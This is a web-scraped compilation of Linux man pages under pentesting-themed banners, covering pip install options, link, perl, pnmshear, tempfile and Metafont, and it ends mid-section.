Determines how dependency upgrading should be handled [default: only-if-needed]. “eager” - dependencies are upgraded regardless of whether the currently installed version satisfies the requirements of the upgraded package(s). “only-if-needed” - are upgraded only when they do not satisfy the requirements of the upgraded package(s).

(environment variable: PIP_UPGRADE_STRATEGY)

–force-reinstall
Reinstall all packages even if they are already up-to-date.

(environment variable: PIP_FORCE_REINSTALL)

-I, –ignore-installed
Ignore the installed packages, overwriting them. This can break your system if the existing package is of a different version or was installed with a different package manager!

(environment variable: PIP_IGNORE_INSTALLED)

–ignore-requires-python
Ignore the Requires-Python information.

(environment variable: PIP_IGNORE_REQUIRES_PYTHON)

–no-build-isolation
Disable isolation when building a modern source distribution. Build dependencies specified by PEP 518 must be already installed if this option is used.

(environment variable: PIP_NO_BUILD_ISOLATION)

–use-pep517
Use PEP 517 for building source distributions (use –no-use-pep517 to force legacy behaviour).

(environment variable: PIP_USE_PEP517)

–check-build-dependencies
Check the build dependencies when PEP517 is used.

(environment variable: PIP_CHECK_BUILD_DEPENDENCIES)

–break-system-packages
Allow pip to modify an EXTERNALLY-MANAGED Python installation

(environment variable: PIP_BREAK_SYSTEM_PACKAGES)

-C, –config-settings <settings>
Configuration settings to be passed to the PEP 517 build backend. Settings take the form KEY=VALUE. Use multiple –config-settings options to pass multiple keys to the backend.

(environment variable: PIP_CONFIG_SETTINGS)

–global-option <options>
Extra global options to be supplied to the setup.py call before the install or bdist_wheel command.

(environment variable: PIP_GLOBAL_OPTION)

–compile
Compile Python source files to bytecode

(environment variable: PIP_COMPILE)

–no-compile
Do not compile Python source files to bytecode

(environment variable: PIP_NO_COMPILE)

–no-warn-script-location
Do not warn when installing scripts outside PATH

(environment variable: PIP_NO_WARN_SCRIPT_LOCATION)

–no-warn-conflicts
Do not warn about broken dependencies

(environment variable: PIP_NO_WARN_CONFLICTS)

–no-binary <format_control>
Do not use binary packages. Can be supplied multiple times, and each time adds to the existing value. Accepts either “:all:” to disable all binary packages, “:none:” to empty the set (notice the colons), or one or more package names with commas between them (no colons). Note that some packages are tricky to compile and may fail to install when this option is used on them.

(environment variable: PIP_NO_BINARY)

–only-binary <format_control>
Do not use source packages. Can be supplied multiple times, and each time adds to the existing value. Accepts either “:all:” to disable all source packages, “:none:” to empty the set, or one or more package names with commas between them. Packages without binary distributions will fail to install when this option is used on them.

(environment variable: PIP_ONLY_BINARY)

–prefer-binary
Prefer binary packages over source packages, even if the source packages are newer.

(environment variable: PIP_PREFER_BINARY)

–require-hashes
Require a hash to check each requirement against, for repeatable installs. This option is implied when any package in a requirements file has a –hash option.

(environment variable: PIP_REQUIRE_HASHES)

–progress-bar <progress_bar>
Specify whether the progress bar should be used [on, off, raw] (default: on)

(environment variable: PIP_PROGRESS_BAR)

–root-user-action <root_user_action>
Action if pip is run as a root user [warn, ignore] (default: warn)

(environment variable: PIP_ROOT_USER_ACTION)

–report <file>
Generate a JSON file describing what pip did to install the provided requirements. Can be used in combination with –dry-run and –ignore-installed to ‘resolve’ the requirements. When - is used as file name it writes to stdout. When writing to stdout, please combine with the –quiet option to avoid mixing pip logging output with JSON output.

(environment variable: PIP_REPORT)

–no-clean
Don’t clean up build directories.

(environment variable: PIP_NO_CLEAN)

AUTHOR

pip developers

COPYRIGHT

The pip developers

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

378 - Linux cli command link

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command link and provides detailed information about the command link, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the link.

NAME 🖥️ link 🖥️

call the link function to create a link to a file

SYNOPSIS

link FILE1 FILE2
link OPTION

DESCRIPTION

Call the link function to create a link named FILE2 to an existing FILE1.

–help
display this help and exit

–version
output version information and exit

AUTHOR

Written by Michael Stone.

REPORTING BUGS

GNU coreutils online help: <https://www.gnu.org/software/coreutils/>
Report any translation bugs to <https://translationproject.org/team/>

COPYRIGHT

Copyright © 2023 Free Software Foundation, Inc. License GPLv3+: GNU GPL version 3 or later <https://gnu.org/licenses/gpl.html>.
This is free software: you are free to change and redistribute it. There is NO WARRANTY, to the extent permitted by law.

SEE ALSO

link(2)

Full documentation <https://www.gnu.org/software/coreutils/link>
or available locally via: info ‘(coreutils) link invocation’

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

379 - Linux cli command perl5.38.2

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command perl5.38.2 and provides detailed information about the command perl5.38.2, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the perl5.38.2.

NAME 🖥️ perl5.38.2 🖥️

The Perl 5 language interpreter

SYNOPSIS

perl [ -sTtuUWX ] [ -hv ] [ -V[:configvar] ] [ -cw ] [ -d[t][:debugger] ] [ -D[number/list] ] [ -pna ] [ -Fpattern ] [ -l[octal] ] [ -0[octal/hexadecimal] ] [ -Idir ] [ -m[-]module ] [ -M[-]‘module…’ ] [ -f ] [ -C [number/list] ] [ -S ] [ -x[dir] ] [ -i[extension] ] [ [-e|-E] ‘command’ ] [ ] [ programfile ] [ argument ]…

For more information on these options, you can run perldoc perlrun.

GETTING HELP

The perldoc program gives you access to all the documentation that comes with Perl. You can get more documentation, tutorials and community support online at <https://www.perl.org/>.

If you’re new to Perl, you should start by running perldoc perlintro, which is a general intro for beginners and provides some background to help you navigate the rest of Perl’s extensive documentation. Run perldoc perldoc to learn more things you can do with perldoc.

For ease of access, the Perl manual has been split up into several sections.

Overview

perl Perl overview (this section) perlintro Perl introduction for beginners perlrun Perl execution and options perltoc Perl documentation table of contents

Tutorials

perlreftut Perl references short introduction perldsc Perl data structures intro perllol Perl data structures: arrays of arrays perlrequick Perl regular expressions quick start perlretut Perl regular expressions tutorial perlootut Perl OO tutorial for beginners perlperf Perl Performance and Optimization Techniques perlstyle Perl style guide perlcheat Perl cheat sheet perltrap Perl traps for the unwary perldebtut Perl debugging tutorial perlfaq Perl frequently asked questions perlfaq1 General Questions About Perl perlfaq2 Obtaining and Learning about Perl perlfaq3 Programming Tools perlfaq4 Data Manipulation perlfaq5 Files and Formats perlfaq6 Regexes perlfaq7 Perl Language Issues perlfaq8 System Interaction perlfaq9 Networking

Reference Manual

perlsyn Perl syntax perldata Perl data structures perlop Perl operators and precedence perlsub Perl subroutines perlfunc Perl built-in functions perlopentut Perl open() tutorial perlpacktut Perl pack() and unpack() tutorial perlpod Perl plain old documentation perlpodspec Perl plain old documentation format specification perldocstyle Perl style guide for core docs perlpodstyle Perl POD style guide perldiag Perl diagnostic messages perldeprecation Perl deprecations perllexwarn Perl warnings and their control perldebug Perl debugging perlvar Perl predefined variables perlre Perl regular expressions, the rest of the story perlrebackslash Perl regular expression backslash sequences perlrecharclass Perl regular expression character classes perlreref Perl regular expressions quick reference perlref Perl references, the rest of the story perlform Perl formats perlobj Perl objects perltie Perl objects hidden behind simple variables perlclass Perl class syntax perldbmfilter Perl DBM filters perlipc Perl interprocess communication perlfork Perl fork() information perlnumber Perl number semantics perlthrtut Perl threads tutorial perlport Perl portability guide perllocale Perl locale support perluniintro Perl Unicode introduction perlunicode Perl Unicode support perlunicook Perl Unicode cookbook perlunifaq Perl Unicode FAQ perluniprops Index of Unicode properties in Perl perlunitut Perl Unicode tutorial perlebcdic Considerations for running Perl on EBCDIC platforms perlsec Perl security perlsecpolicy Perl security report handling policy perlmod Perl modules: how they work perlmodlib Perl modules: how to write and use perlmodstyle Perl modules: how to write modules with style perlmodinstall Perl modules: how to install from CPAN perlnewmod Perl modules: preparing a new module for distribution perlpragma Perl modules: writing a user pragma perlutil utilities packaged with the Perl distribution perlfilter Perl source filters perldtrace Perls support for DTrace perlglossary Perl Glossary

Internals and C Language Interface

perlembed Perl ways to embed perl in your C or C++ application perldebguts Perl debugging guts and tips perlxstut Perl XS tutorial perlxs Perl XS application programming interface perlxstypemap Perl XS C/Perl type conversion tools perlclib Internal replacements for standard C library functions perlguts Perl internal functions for those doing extensions perlcall Perl calling conventions from C perlmroapi Perl method resolution plugin interface perlreapi Perl regular expression plugin interface perlreguts Perl regular expression engine internals perlclassguts Internals of class syntax perlapi Perl API listing (autogenerated) perlintern Perl internal functions (autogenerated) perliol C API for Perls implementation of IO in Layers perlapio Perl internal IO abstraction interface perlhack Perl hackers guide perlsource Guide to the Perl source tree perlinterp Overview of the Perl interpreter source and how it works perlhacktut Walk through the creation of a simple C code patch perlhacktips Tips for Perl core C code hacking perlpolicy Perl development policies perlgov Perl Rules of Governance perlgit Using git with the Perl repository

History

perlhist Perl history records perldelta Perl changes since previous version perl5381delta Perl changes in version 5.38.1 perl5380delta Perl changes in version 5.38.0 perl5363delta Perl changes in version 5.36.3 perl5362delta Perl changes in version 5.36.2 perl5361delta Perl changes in version 5.36.1 perl5360delta Perl changes in version 5.36.0 perl5343delta Perl changes in version 5.34.3 perl5342delta Perl changes in version 5.34.2 perl5341delta Perl changes in version 5.34.1 perl5340delta Perl changes in version 5.34.0 perl5321delta Perl changes in version 5.32.1 perl5320delta Perl changes in version 5.32.0 perl5303delta Perl changes in version 5.30.3 perl5302delta Perl changes in version 5.30.2 perl5301delta Perl changes in version 5.30.1 perl5300delta Perl changes in version 5.30.0 perl5283delta Perl changes in version 5.28.3 perl5282delta Perl changes in version 5.28.2 perl5281delta Perl changes in version 5.28.1 perl5280delta Perl changes in version 5.28.0 perl5263delta Perl changes in version 5.26.3 perl5262delta Perl changes in version 5.26.2 perl5261delta Perl changes in version 5.26.1 perl5260delta Perl changes in version 5.26.0 perl5244delta Perl changes in version 5.24.4 perl5243delta Perl changes in version 5.24.3 perl5242delta Perl changes in version 5.24.2 perl5241delta Perl changes in version 5.24.1 perl5240delta Perl changes in version 5.24.0 perl5224delta Perl changes in version 5.22.4 perl5223delta Perl changes in version 5.22.3 perl5222delta Perl changes in version 5.22.2 perl5221delta Perl changes in version 5.22.1 perl5220delta Perl changes in version 5.22.0 perl5203delta Perl changes in version 5.20.3 perl5202delta Perl changes in version 5.20.2 perl5201delta Perl changes in version 5.20.1 perl5200delta Perl changes in version 5.20.0 perl5184delta Perl changes in version 5.18.4 perl5182delta Perl changes in version 5.18.2 perl5181delta Perl changes in version 5.18.1 perl5180delta Perl changes in version 5.18.0 perl5163delta Perl changes in version 5.16.3 perl5162delta Perl changes in version 5.16.2 perl5161delta Perl changes in version 5.16.1 perl5160delta Perl changes in version 5.16.0 perl5144delta Perl changes in version 5.14.4 perl5143delta Perl changes in version 5.14.3 perl5142delta Perl changes in version 5.14.2 perl5141delta Perl changes in version 5.14.1 perl5140delta Perl changes in version 5.14.0 perl5125delta Perl changes in version 5.12.5 perl5124delta Perl changes in version 5.12.4 perl5123delta Perl changes in version 5.12.3 perl5122delta Perl changes in version 5.12.2 perl5121delta Perl changes in version 5.12.1 perl5120delta Perl changes in version 5.12.0 perl5101delta Perl changes in version 5.10.1 perl5100delta Perl changes in version 5.10.0 perl589delta Perl changes in version 5.8.9 perl588delta Perl changes in version 5.8.8 perl587delta Perl changes in version 5.8.7 perl586delta Perl changes in version 5.8.6 perl585delta Perl changes in version 5.8.5 perl584delta Perl changes in version 5.8.4 perl583delta Perl changes in version 5.8.3 perl582delta Perl changes in version 5.8.2 perl581delta Perl changes in version 5.8.1 perl58delta Perl changes in version 5.8.0 perl561delta Perl changes in version 5.6.1 perl56delta Perl changes in version 5.6 perl5005delta Perl changes in version 5.005 perl5004delta Perl changes in version 5.004

Miscellaneous

perlbook Perl book information perlcommunity Perl community information perldoc Look up Perl documentation in Pod format perlexperiment A listing of experimental features in Perl perlartistic Perl Artistic License perlgpl GNU General Public License

Language-Specific

perlcn Perl for Simplified Chinese (in UTF-8) perljp Perl for Japanese (in EUC-JP) perlko Perl for Korean (in EUC-KR) perltw Perl for Traditional Chinese (in Big5)

Platform-Specific

perlaix Perl notes for AIX perlamiga Perl notes for AmigaOS perlandroid Perl notes for Android perlbs2000 Perl notes for POSIX-BC BS2000 perlcygwin Perl notes for Cygwin perlfreebsd Perl notes for FreeBSD perlhaiku Perl notes for Haiku perlhpux Perl notes for HP-UX perlhurd Perl notes for Hurd perlirix Perl notes for Irix perllinux Perl notes for Linux perlmacosx Perl notes for Mac OS X perlopenbsd Perl notes for OpenBSD perlos2 Perl notes for OS/2 perlos390 Perl notes for OS/390 perlos400 Perl notes for OS/400 perlplan9 Perl notes for Plan 9 perlqnx Perl notes for QNX perlriscos Perl notes for RISC OS perlsolaris Perl notes for Solaris perlsynology Perl notes for Synology perltru64 Perl notes for Tru64 perlvms Perl notes for VMS perlvos Perl notes for Stratus VOS perlwin32 Perl notes for Windows

Stubs for Deleted Documents

perlboot perlbot perlrepository perltodo perltooc perltoot

On Debian systems, you need to install the perl-doc package which contains the majority of the standard Perl documentation and the perldoc program.

Extensive additional documentation for Perl modules is available, both those distributed with Perl and third-party modules which are packaged or locally installed.

You should be able to view Perl’s documentation with your man (1) program or perldoc (1).

Some documentation is not available as man pages, so if a cross-reference is not found by man, try it with perldoc. Perldoc can also take you directly to documentation for functions (with the -f switch). See perldoc --help (or perldoc perldoc or man perldoc) for other helpful options perldoc has to offer.

In general, if something strange has gone wrong with your program and you’re not sure where you should look for help, try making your code comply with use strict and use warnings. These will often point out exactly where the trouble is.

DESCRIPTION

Perl officially stands for Practical Extraction and Report Language, except when it doesn’t.

Perl was originally a language optimized for scanning arbitrary text files, extracting information from those text files, and printing reports based on that information. It quickly became a good language for many system management tasks. Over the years, Perl has grown into a general-purpose programming language. It’s widely used for everything from quick “one-liners” to full-scale application development.

The language is intended to be practical (easy to use, efficient, complete) rather than beautiful (tiny, elegant, minimal). It combines (in the author’s opinion, anyway) some of the best features of sed, awk, and sh, making it familiar and easy to use for Unix users to whip up quick solutions to annoying problems. Its general-purpose programming facilities support procedural, functional, and object-oriented programming paradigms, making Perl a comfortable language for the long haul on major projects, whatever your bent.

Perl’s roots in text processing haven’t been forgotten over the years. It still boasts some of the most powerful regular expressions to be found anywhere, and its support for Unicode text is world-class. It handles all kinds of structured text, too, through an extensive collection of extensions. Those libraries, collected in the CPAN, provide ready-made solutions to an astounding array of problems. When they haven’t set the standard themselves, they steal from the best – just like Perl itself.

AVAILABILITY

Perl is available for most operating systems, including virtually all Unix-like platforms. See “Supported Platforms” in perlport for a listing.

ENVIRONMENT

See “ENVIRONMENT” in perlrun.

AUTHOR

Larry Wall <[email protected]>, with the help of oodles of other folks.

If your Perl success stories and testimonials may be of help to others who wish to advocate the use of Perl in their applications, or if you wish to simply express your gratitude to Larry and the Perl developers, please write to [email protected] .

FILES

“@INC” locations of perl libraries

“@INC” above is a reference to the built-in variable of the same name; see perlvar for more information.

SEE ALSO

https://www.perl.org/ the Perl homepage https://www.perl.com/ Perl articles https://www.cpan.org/ the Comprehensive Perl Archive https://www.pm.org/ the Perl Mongers

DIAGNOSTICS

Using the use strict pragma ensures that all variables are properly declared and prevents other misuses of legacy Perl features. These are enabled by default within the scope of use v5.12 (or higher).

The use warnings pragma produces some lovely diagnostics. It is enabled by default when you say use v5.35 (or higher). One can also use the -w flag, but its use is normally discouraged, because it gets applied to all executed Perl code, including that not under your control.

See perldiag for explanations of all Perl’s diagnostics. The use diagnostics pragma automatically turns Perl’s normally terse warnings and errors into these longer forms.

Compilation errors will tell you the line number of the error, with an indication of the next token or token type that was to be examined. (In a script passed to Perl via -e switches, each -e is counted as one line.)

Setuid scripts have additional constraints that can produce error messages such as “Insecure dependency”. See perlsec.

Did we mention that you should definitely consider using the use warnings pragma?

BUGS

The behavior implied by the use warnings pragma is not mandatory.

Perl is at the mercy of your machine’s definitions of various operations such as type casting, atof(), and floating-point output with sprintf().

If your stdio requires a seek or eof between reads and writes on a particular stream, so does Perl. (This doesn’t apply to sysread() and syswrite().)

While none of the built-in data types have any arbitrary size limits (apart from memory size), there are still a few arbitrary limits: a given variable name may not be longer than 251 characters. Line numbers displayed by diagnostics are internally stored as short integers, so they are limited to a maximum of 65535 (higher numbers usually being affected by wraparound).

You may submit your bug reports (be sure to include full configuration information as output by the myconfig program in the perl source tree, or by perl -V) to <https://github.com/Perl/perl5/issues>.

Perl actually stands for Pathologically Eclectic Rubbish Lister, but don’t tell anyone I said that.

NOTES

The Perl motto is “There’s more than one way to do it.” Divining how many more is left as an exercise to the reader.

The three principal virtues of a programmer are Laziness, Impatience, and Hubris. See the Camel Book for why.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

380 - Linux cli command pnmshear

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command pnmshear and provides detailed information about the command pnmshear, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the pnmshear.

.

NAME 🖥️ pnmshear 🖥️

shear a PNM image by a specified angle

SYNOPSIS

pnmshear

[-noantialias] [**-background=**color] angle [pnmfile]

All options can be abbreviated to their shortest unique prefix. You may use two hyphens instead of one to designate an option. You may use either white space or equals signs between an option name and its value.

DESCRIPTION

This program is part of Netpbm(1) .

pnmshear reads a PNM image as input and shears it by the specified angle and produce a PNM image as output. If the input file is in color, the output will be too, otherwise it will be grayscale. The angle is in degrees (floating point), and measures this:

    +-------+  +-------+
    |       |  |\       \
    |  OLD  |  | \  NEW  \
    |       |  |an\       \
    +-------+  |gle+-------+

If the angle is negative, it shears the other way:

    +-------+  |-an+-------+
    |       |  |gl/       /
    |  OLD  |  |e/  NEW  /
    |       |  |/       /
    +-------+  +-------+

The angle should not get too close to 90 or -90, or the resulting image will be unreasonably wide. In fact, if it gets too close, the width will be so large that pnmshear cannot do computations in the word sizes it uses, and the program detects this and fails.

pnmshear does the shearing by looping over the source pixels and distributing fractions to each of the destination pixels. This has an “anti-aliasing” effect - it avoids jagged edges and similar artifacts. However, it also means that the original colors in the image are modified and there are typically more of them than you started with. If you need to keep precisely the same set of colors, see the -noantialias option. If the expanded palette is a problem, you can run the result through pnmquant.

OPTIONS

In addition to the options common to all programs based on libnetpbm (most notably -quiet, see Common Options ), pnmshear recognizes the following command line options:

**-background=**color
This determines the color of the background on which the sheared image sits.

Specify the color (color) as described for the argument of the pnm_parsecolor() library routine .

By default, if you don’t specify this option, pnmshear selects what appears to it to be the background color of the original image. It determines this color rather simplistically, by taking an average of the colors of the two top corners of the image.

This option was new in Netpbm 10.37 (December 2006). Before that, pnmshear always behaved as is the default now.

-noantialias
This option forces pnmshear to simply move pixels around instead of synthesizing output pixels from multiple input pixels. The latter could cause the output to contain colors that are not in the input, which may not be desirable. It also probably makes the output contain a large number of colors. If you need a small number of colors, but it doesn’t matter if they are the exact ones from the input, consider using pnmquant on the output instead of using -noantialias.

Note that to ensure the output does not contain colors that are not in the input, you also must consider the background color. See the -background option.

SEE ALSO

pnmrotate(1) , pamflip(1) , pamhomography(1) , pnmquant(1) , pamrestack(1) , pnm(1)

AUTHOR

Copyright (C) 1989, 1991 by Jef Poskanzer.

DOCUMENT SOURCE

This manual page was generated by the Netpbm tool ‘makeman’ from HTML source. The master documentation is at

http://netpbm.sourceforge.net/doc/pnmshear.html

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

381 - Linux cli command tempfile

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command tempfile and provides detailed information about the command tempfile, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the tempfile.

NAME 🖥️ tempfile 🖥️

create a temporary file in a safe manner

SYNOPSIS

tempfile [-d DIR] [-p STRING] [-s STRING] [-m MODE] [-n FILE] [–directory=DIR] [–prefix=STRING] [–suffix=STRING] [–mode=MODE] [–name=FILE] [–help] [–version]

DESCRIPTION

tempfile creates a temporary file in a safe manner. It uses mkstemps(3) to choose the name and opens it with O_RDWR | O_CREAT | O_EXCL. The filename is printed on standard output.

The directory in which to create the file might be searched for in this order:

a)
In case the environment variable TMPDIR exists and contains the name of an appropriate directory, that is used.

b)
Otherwise, if the –directory argument is specified and appropriate, it is used.

c)
Otherwise, P_tmpdir (as defined in <stdio.h>) is used when appropriate.

d)
Finally an implementation-defined directory (/tmp) may be used.

OPTIONS

**-d, –directory **DIR
Place the file in DIR.

**-m, –mode **MODE
Open the file with MODE instead of 0600.

-n, –name FILE
Use FILE for the name instead of tempnam(3)
.
The options -d, -p, and -s are ignored if this option is given.

**-p, –prefix **STRING
Use up to five letters of STRING to generate the name.

**-s, –suffix **STRING
Generate the file with STRING as the suffix.

–help
Print a usage message on standard output and exit successfully.

–version
Print version information on standard output and exit successfully.

RETURN VALUES

An exit status of 0 means the temporary file was created successfully. Any other exit status indicates an error.

BUGS

Exclusive creation is not guaranteed when creating files on NFS partitions. tempfile cannot make temporary directories. tempfile is deprecated; you should use mktemp(1) instead.

EXAMPLE

#!/bin/sh
#[...]
t=$(tempfile) || exit
trap "rm -f -- '$t'" EXIT
#[...]
rm -f -- "$t"
trap - EXIT
exit

SEE ALSO

tempnam(3), mktemp(1)

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

382 - Linux cli command mf-nowin

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command mf-nowin and provides detailed information about the command mf-nowin, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the mf-nowin.

NAME 🖥️ mf-nowin 🖥️

nowin - Metafont, a language for font and logo design

SYNOPSIS

mf [options] [commands]

DESCRIPTION

Metafont reads the program in the specified files and outputs font rasters (in gf format) and font metrics (in tfm format). The Metafont language is described in The Metafont book.

Like TeX, Metafont is normally used with a large body of precompiled macros, and font generation in particular requires the support of several macro files. This version of Metafont looks at its command line to see what name it was called under. Both inimf and virmf are symlinks to the mf executable. When called as inimf (or when the -ini option is given) it can be used to precompile macros into a .base file. When called as virmf it will use the plain base. When called under any other name, Metafont will use that name as the name of the base to use. For example, when called as mf the mf base is used, which is identical to the plain base. Other bases than plain are rarely used.

The commands given on the command line to the Metafont program are passed to it as the first input line. (But it is often easier to type extended arguments as the first input line, since UNIX shells tend to gobble up or misinterpret Metafont’s favorite symbols, like semicolons, unless you quote them.) As described in The Metafont book, that first line should begin with a filename, a *controlsequence*, or a &basename.

The normal usage is to say

mf ‘\mode=<printengine> ;  [ mag=magstep(* n* ) ; ]’ input   font

to start processing font.mf. The single quotes are the best way of keeping the Unix shell from misinterpreting the semicolons and from removing the \ character, which is needed here to keep Metafont from thinking that you want to produce a font called mode. (Or you can just say mf and give the other stuff on the next line, without quotes.) Other control sequences, such as batchmode (for silent operation) can also appear. The name font will be the ``jobname’’, and is used in forming output file names. If Metafont doesn’t get a file name in the first line, the jobname is mfput. The default extension, .mf, can be overridden by specifying an extension explicitly.

A log of error messages goes into the file jobname** . log. The output files are jobname . tfm and jobname . **< number >gf, where <number> depends on the resolution and magnification of the font. The mode in this example is shown generically as <printengine>, a symbolic term for which the name of an actual device or, most commonly, the name localfont (see below) must be substituted. If the mode is not specified or is not valid for your site, Metafont will default to proof mode which produces large character images for use in font design and refinement. Proof mode can be recognized by the suffix .2602gf after the jobname. Examples of proof mode output can be found in Computer Modern Typefaces (Volume E of Computers and Typesetting). The system of magsteps is identical to the system used by TeX, with values generally in the range 0.5, 1.0, 2.0, 3.0, 4.0 and 5.0. A listing of gf numbers for 118-dpi, 240-dpi and 300-dpi fonts is shown below.

MAGSTEP118 dpi240 dpi300 dpi
mag=magstep(0)118240300
mag=magstep(0.5)129263329
mag=magstep(1)142288360
mag=magstep(2)170346432
mag=magstep(3)204415518
mag=magstep(4)245498622
mag=magstep(5)294597746

Magnification can also be specified not as a magstep but as an arbitrary value, such as 1.315, to create special character sizes.

Before font production can begin, it is necessary to set up the appropriate base files. The minimum set of components for font production for a given print-engine is the plain.mf macro file and the local mode_def file. The macros in plain.mf can be studied in an appendix to the Metafont book; they were developed by Donald E. Knuth, and this file should never be altered except when it is officially upgraded. Each mode_def specification helps adapt fonts to a particular print-engine. There is a regular discussion of mode_defs in TUGboat, the journal of the TeX Users Group. The local ones in use on this computer should be in modes.mf.

The e response to Metafont ’s error-recovery mode invokes the system default editor at the erroneous line of the source file. There is an environment variable, MFEDIT, that overrides the default editor. It should contain a string with “%s” indicating where the filename goes and “%d” indicating where the decimal linenumber (if any) goes. For example, an MFEDIT string for the vi editor can be set with the csh command

setenv MFEDIT “vi +%d %s”

A convenient file in the library is null.mf, containing nothing. When mf can’t find the file it thinks you want to input, it keeps asking you for another file name; responding `null’ gets you out of the loop if you don’t want to input anything.

ONLINE GRAPHICS OUTPUT

